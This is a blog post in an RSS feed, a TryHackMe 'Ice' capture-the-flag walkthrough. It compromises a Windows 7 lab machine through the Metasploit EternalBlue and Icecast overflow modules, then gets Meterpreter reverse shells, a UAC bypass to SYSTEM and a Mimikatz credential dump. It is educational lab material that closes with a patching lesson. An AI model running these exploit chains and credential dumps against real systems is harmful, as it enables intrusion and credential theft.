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        <title><![CDATA[Stories by Akash M on Medium]]></title>
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            <title><![CDATA[Pwning “Ice” — A Windows 7 Box That Didn’t Stand a Chance]]></title>
            <link>https://medium.com/@akashmurugansasikala2208/pwning-ice-a-windows-7-box-that-didnt-stand-a-chance-d8e4a07609b8?source=rss-6f2747a4ba5c------2</link>
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            <dc:creator><![CDATA[Akash M]]></dc:creator>
            <pubDate>Sun, 11 Oct 2026 21:15:05 GMT</pubDate>
            <atom:updated>2026-10-11T21:15:05.981Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A TryHackMe walkthrough: from a stray open port to NT AUTHORITY\SYSTEM</em></p><p>Some boxes make you work for it. Ice isn’t one of them.</p><p>Named for a Windows 7 machine running — of all things — a streaming media server, Ice turned out to be a textbook example of what happens when a decade-old, unpatched OS meets a decade-old, unpatched application. Two unrelated vulnerabilities, two independent ways in, one unlucky Dark-PC.</p><p>Here’s the full walkthrough, start to finish.</p><h3>Setting the Stage</h3><p>Target: 10.48.163.174. First move, always: throw Nmap at it.</p><pre>msf &gt; workspace -a ICE_CTF<br>msf &gt; workspace ICE_CTF<br>msf &gt; db_nmap -sS 10.48.163.174</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*CaU4qRDl2Hes9-kLv8BwuA.png" /></figure><p>The usual suspects showed up:</p><ul><li>135/tcp — msrpc</li><li>139/tcp — netbios-ssn</li><li>445/tcp — microsoft-ds</li><li>3389/tcp — ms-wbt-server (RDP)</li><li>5357/tcp — wsdapi</li><li>8000/tcp — http-alt</li><li>49152–49160/tcp — unknown/msrpc</li></ul><p>That’s the fingerprint of any Windows box — except for one line that stood out immediately: <strong>8000, running Icecast</strong>, a streaming media server. Not something you see on every pentest target, and definitely not something you’d expect on a plain Windows 7 workgroup machine. That’s the kind of anomaly that tells you where the fun is going to happen.</p><p>A deeper -sV scan with scripts confirmed the host:</p><pre>Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows<br>8000/tcp open  http    Icecast streaming media server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oQPYsYSPSxbSErmFB_jfxg.png" /></figure><p><strong>DARK-PC</strong>, Windows 7 Professional 7601 SP1, sitting in a lonely WORKGROUP with no domain to hide behind.</p><p>A quick anonymous SMB check came up empty on shares:</p><pre>$ smbclient -L //10.48.163.174 -N<br>Anonymous login successful<br>Unable to connect with SMB1 -- no workgroup available</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*oeLYl4k5Ud1dIeGIy3ycJQ.png" /></figure><p>But the NSE smb-os-discovery script filled in the gaps: Windows 7 Professional SP1, NetBIOS name DARK-PC, SMB1 signing disabled by default — &quot;dangerous, but default,&quot; as Nmap politely puts it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*bGz8RSR5uOZlCFl88ZD16A.png" /></figure><h3>Door Number One: EternalBlue</h3><p>Windows 7 and port 445 open? You run the check before you even think about anything else.</p><pre>smb-vuln-ms17-010</pre><pre>VULNERABLE:<br>Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)<br>State: VULNERABLE<br>IDs: CVE:CVE-2017-0143<br>Risk factor: HIGH</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UH5XHtxbhP0WBINHq3PMHw.png" /></figure><p>There it was — <strong>EternalBlue</strong>, the exploit the NSA didn’t want you to have, the one that powered WannaCry across the globe in 2017. CVSS 3.1 score: <strong>8.8, HIGH</strong>. Nine years later and this box still hadn’t been patched.</p><p>A search in Metasploit confirmed the available modules:</p><pre>msf &gt; search MS17-010<br>0   exploit/windows/smb/ms17_010_eternalblue   2017-03-14  average  Yes<br>10  exploit/windows/smb/ms17_010_psexec        2017-03-14  normal   Yes</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-TuF7FfkJNZaRxYgBPk9Jg.png" /></figure><p>Worth a sanity check against the official record — NVD confirms the same CVSS score and the affected version list (Windows Vista SP2 through Server 2016, including our Windows 7 SP1 target):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZGgbphoMg7oED3ShcZ3KZA.png" /></figure><p>And the Exploit-DB listing for the detection scanner, for good measure:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YkygCeLcVkXBI5HdhWnSuw.png" /></figure><p>Time to fire it off:</p><pre>use exploit/windows/smb/ms17_010_eternalblue<br>run</pre><pre>[+] 10.48.163.174:445   - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 SP1 x64<br>[*] 10.48.163.174:445   - Trying exploit with 12 Groom Allocations.<br>[+] 10.48.163.174:445   - Sending SMBv2 buffers<br>[+] 10.48.163.174:445   - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.<br>[+] 10.48.163.174:445   - ETERNALBLUE overwrite completed successfully (0xC000000D)!<br>[*] Meterpreter session 1 opened (192.168.195.253:4444 -&gt; 10.48.163.174:49253)<br>[+] ============================WIN============================</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kcM2m0VqUS9zhWRL-4s5Sw.png" /></figure><p>Non-paged pool grooming, SMBv1/v2 buffer juggling, the classic overwrite sequence — and just like that, one shell down. But I wasn’t done. That open Icecast port was too tempting to ignore.</p><h3>Door Number Two: The Media Server Nobody Patched</h3><p>A search in Metasploit turned up a match:</p><pre>msf exploit(windows/http/icecast_header) &gt; search icecast<br>0   exploit/windows/http/icecast_header   2004-09-28   great   No   Icecast Header Overwrite</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PXKlBbjvIxgWCPwthoPVTw.png" /></figure><p>This targets <strong>CVE-2004–1561</strong>: a buffer overflow in Icecast 2.0.1 and earlier, triggered by sending an HTTP request stuffed with an excessive number of headers. CVSS 2.0 base score: <strong>7.5</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J13uCIimwbKN9i2yJS7PPg.png" /></figure><p>Yes — a <em>2004</em> vulnerability, still sitting there, unpatched, over two decades later.</p><pre>set RHOSTS 10.48.163.174<br>set RPORT 8000<br>run</pre><pre>[*] Started reverse TCP handler on 192.168.195.253:4444<br>[*] Sending stage (199238 bytes) to 10.48.163.174<br>[*] Meterpreter session 2 opened (192.168.195.253:4444 -&gt; 10.48.163.174:49255)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8EeTmVCGOnlpEtBhxs_SJQ.png" /></figure><pre>meterpreter &gt; getuid<br>Server username: Dark-PC\Dark</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*bbNtg56Cgvo9FWEomLjTgg.png" /></figure><p>A real user, not SYSTEM, but a foothold nonetheless. And this is the part I actually loved: watching the live desktop afterward via screenshare showed Icecast&#39;s window still open next to a <strong>&quot;Windows PowerShell has stopped working&quot;</strong> crash dialog — a little digital tombstone marking exactly where the buffer overflow landed.</p><pre>meterpreter &gt; screenshare<br>[*] Preparing player...<br>[*] Streaming...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*kgnsaiat6g730AQGgnjYeA.png" /></figure><p><em>[Insert image: 19_screenshare_desktop.png — The crash dialog left behind by the overflow, plus confirmation of Windows 7 Build 7601, non-genuine activation, server uptime around 1 hour at exploitation time.]</em></p><h3>From User to God Mode</h3><p>Two shells, one still stuck as a regular user. Time to escalate.</p><pre>meterpreter &gt; run post/multi/recon/local_exploit_suggester<br>[*] 10.48.163.174 - Collecting local exploits for x86/windows...<br>[*] 255 exploit checks are being tried...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9BH4eaE7Eqdj2INAdeO2PQ.png" /></figure><p>255 checks later, the suggester came back with a buffet of options, all flagged as likely vulnerable: bypassuac_comhijack, bypassuac_eventvwr, ms13_053_schlamperei, ms13_081_track_popup_menu, ms14_058_track_popup_menu, ms15_051_client_copy_image, ntusermndragover, ppr_flatten_rec, tokenmagic, persistence/bits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D9niFo0LxCITS9qMt-xilQ.png" /></figure><p>I went with the reliable classic:</p><pre>use exploit/windows/local/bypassuac_eventvwr<br>set SESSION 2<br>run</pre><pre>[*] UAC is Enabled, checking level...<br>[+] Part of Administrators group! Continuing...<br>[+] UAC is set to Default<br>[+] BypassUAC can bypass this setting, continuing...<br>[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe<br>[*] Meterpreter session 3 opened (192.168.195.253:4444 -&gt; 10.48.163.174:49264)</pre><p>The eventvwr.exe registry hijack did its job. One more command sealed it:</p><pre>meterpreter &gt; getuid<br>Server username: Dark-PC\Dark<br>meterpreter &gt; getsystem<br>...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).<br>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\SYSTEM</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Suz_fr8vyZXY5tpjk858ug.png" /></figure><p>And just like that — <strong>SYSTEM</strong>.</p><h3>The Spoils</h3><p>With full control, Mimikatz (via Meterpreter’s kiwi extension) had one last secret to give up:</p><pre>meterpreter &gt; creds_all<br>[+] Running as SYSTEM<br>[*] Retrieving all credentials</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*IHhmqXA55KIrM8nPlqO_Cw.png" /></figure><pre>msv credentials<br>Username   Domain    Password<br>Dark       Dark-PC   Password01!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*Lu76iYWU0zoT4aAHy7lXxQ.png" /></figure><p>A plaintext password, sitting in memory the whole time — Dark:Password01! — reusable over RDP (port 3389 was open from the start) without needing to touch an exploit ever again.</p><p>I also poked at Mimikatz’s golden-ticket functionality just to see what it offered:</p><pre>meterpreter &gt; golden_ticket_create<br>Create a golden kerberos ticket that expires in 10 years time.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*WFQhtzBK-3nu-G7uzNhrJQ.png" /></figure><p>That attack needs a real Active Directory domain with a krbtgt hash — Dark-PC was never part of one, just a standalone box in a WORKGROUP. Good to know your tools; better to know when they don&#39;t apply.</p><h3>The Full Chain</h3><p>Nmap recon → MS17–010 confirmed → initial access via EternalBlue <em>or</em> Icecast header overflow (CVE-2004–1561) → local_exploit_suggester → UAC bypass (bypassuac_eventvwr) → getsystem (named pipe impersonation) → NT AUTHORITY\SYSTEM → credential dump.</p><h3>The Takeaway</h3><p>Ice isn’t a hard box, and it isn’t trying to be. It’s a lesson in layered neglect: an operating system seven years past its last meaningful patch, paired with server software old enough to vote, running under a default UAC configuration that a well-known bypass sails straight through. Any <em>one</em> of these alone might have held the line a little longer. Together, they didn’t stand a chance.</p><p>Two unrelated bugs, separated by thirteen years of CVE history, both still open doors on the same machine. If there’s a moral here, it’s the oldest one in security: patch everything, not just the thing you remember.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d8e4a07609b8" width="1" height="1" alt="">]]></content:encoded>
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